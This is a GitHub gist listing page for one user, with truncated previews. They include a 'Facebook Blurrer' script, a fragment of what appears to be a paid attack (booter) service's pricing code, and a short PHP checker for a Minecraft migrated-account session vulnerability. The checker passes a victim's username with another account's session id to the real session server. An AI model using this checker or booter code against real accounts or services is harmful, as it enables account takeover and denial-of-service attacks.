Skip to content

Instantly share code, notes, and snippets.

Alex Vanderpot ajvpot

Block or report user

Report or block ajvpot

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:5182386
<script type="text/rocketscript">
$(function() {
$('#lr').css('opacity', '0.4');
var price = 9.00;
var paymenttype = 'paypal';
var one_month = 9.00;
var lifetime = 3;
var sixty_seconds = 1.00;
var concurrent_attack = 20.00;
@ajvpot
ajvpot / full.js
Created Nov 4, 2012
Facebook Blurrer
View full.js
function getElementsByClassName(className){
var hasClassName = new RegExp("(?:^|\\s)" + className + "(?:$|\\s)");
var allElements = document.getElementsByTagName("*");
var results = [];
var element;
for (var i = 0; (element = allElements[i]) != null; i++) {
var elementClass = element.className;
if (elementClass && elementClass.indexOf(className) != -1 && hasClassName.test(elementClass))
results.push(element);
}
View gist:3115445
<?php
$sessid = "herpderp"; //insert a session id from a migrated account here.
if(isset($_POST["name"]) && !empty($_POST["name"])){
$name=$_POST["name"];
$url="http://session.minecraft.net/game/joinserver.jsp?user=$name&sessionId=$sessid&serverId=a";
$res=file_get_contents($url);
if($res == "OK") die("<b><font color=green>The account ".htmlspecialchars($name)." is vulnerable.</font></b>");
if($res == "Bad login") die("<font color=red>The account ".htmlspecialchars($name)." is NOT vulnerable or is not migrated.</font>");
echo "Could not determine status of account ($res)";
}else{
@ajvpot
ajvpot / gist:3115176
Created Jul 15, 2012
Minecraft Migrated Account Session Vulnerability
View gist:3115176
                  ████▓               
               ▓█▓▓▓▓▓██▒              
             ▒██▒▒▒▒▒▒▒▓█▓             
            ▓█▓▒▒▒▒▒▒▒▒▒▒██            
           ██▒▒▒▒▓███▓▒▒▒▒▓█▒          
         ▒█▓▒▓▓▓██▓░▓█▓▓▓▓▓▓█▓         
        ▓█▓▓▓▓▓██▓   ▒██▓▓▓▓▓██▒       
      ▒██▓▓▓▓███       ███▓▓▓▓██▓      
     ▓██▓█████▒         ▒█████████     
   ▒█████████  ▒▓▓▓▓▓▓▓▓▒▓█████████▒   
You can’t perform that action at this time.